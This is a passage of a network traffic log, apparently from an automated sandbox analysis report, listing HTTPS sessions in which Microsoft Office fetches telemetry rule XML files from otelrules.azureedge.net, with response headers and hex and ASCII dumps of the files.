2024-10-26 11:46:06 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:06 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 6768b437-a01e-00ab-174d-279106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114606Z-16849878b78j7llf5vkyvvcehs00000002y000000000f04v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:06 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.9	49796	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:06 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:06 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:06 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 41937e91-c01e-008e-5d57-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114606Z-16849878b78fmrkt2ukpvh9wh40000000ak000000000as49 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:06 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.9	49797	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:06 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:06 UTC	591	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:06 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a235f1ae-201e-003c-2005-2730f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114606Z-17c5cb586f672xmrz843mf85fn00000000sg000000004p81 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-26 11:46:06 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.9	49798	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:06 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:06 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:06 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: f473ee8a-401e-00ac-6cf0-260a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114606Z-16849878b78zqkvcwgr6h55x9n00000001eg000000005yyd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:06 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.9	49799	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:06 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:07 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:06 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 19a18c92-701e-0098-0fb0-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114606Z-16849878b78g2m84h2v9sta29000000000y0000000004c7t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:07 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.9	49800	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:06 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:07 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:07 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 0243abe0-001e-0028-29fb-25c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114607Z-15b8d89586f42m673h1quuee4s00000005y000000000a9x3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:07 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.9	49801	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:07 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:07 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:07 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 1a403a11-c01e-0082-051c-27af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114607Z-r197bdfb6b48pl4k4a912hk2g4000000017g000000000qbz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:07 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.9	49802	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:07 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:07 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:07 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cd04a713-f01e-003f-7315-26d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114607Z-16849878b78fssff8btnns3b14000000028g000000007a1c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:07 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.9	49803	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:07 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:07 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:07 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: e6296ddc-301e-0052-0828-2665d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114607Z-r197bdfb6b48pcqqxhenwd2uz800000002v00000000000d7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:07 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.9	49805	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:08 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:08 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:08 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114608Z-16849878b78p8hrf1se7fucxk800000002s000000000cvnd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:08 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.9	49804	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:08 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:08 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:08 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 3c823cf0-801e-00a3-6533-267cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114608Z-15b8d89586f989rkfw99rwd68g000000037g000000004kmx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:08 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.9	49808	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:08 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:08 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:08 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 7136c2ed-601e-0084-41f2-266b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114608Z-16849878b78hh85qc40uyr8sc800000002a0000000003up4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
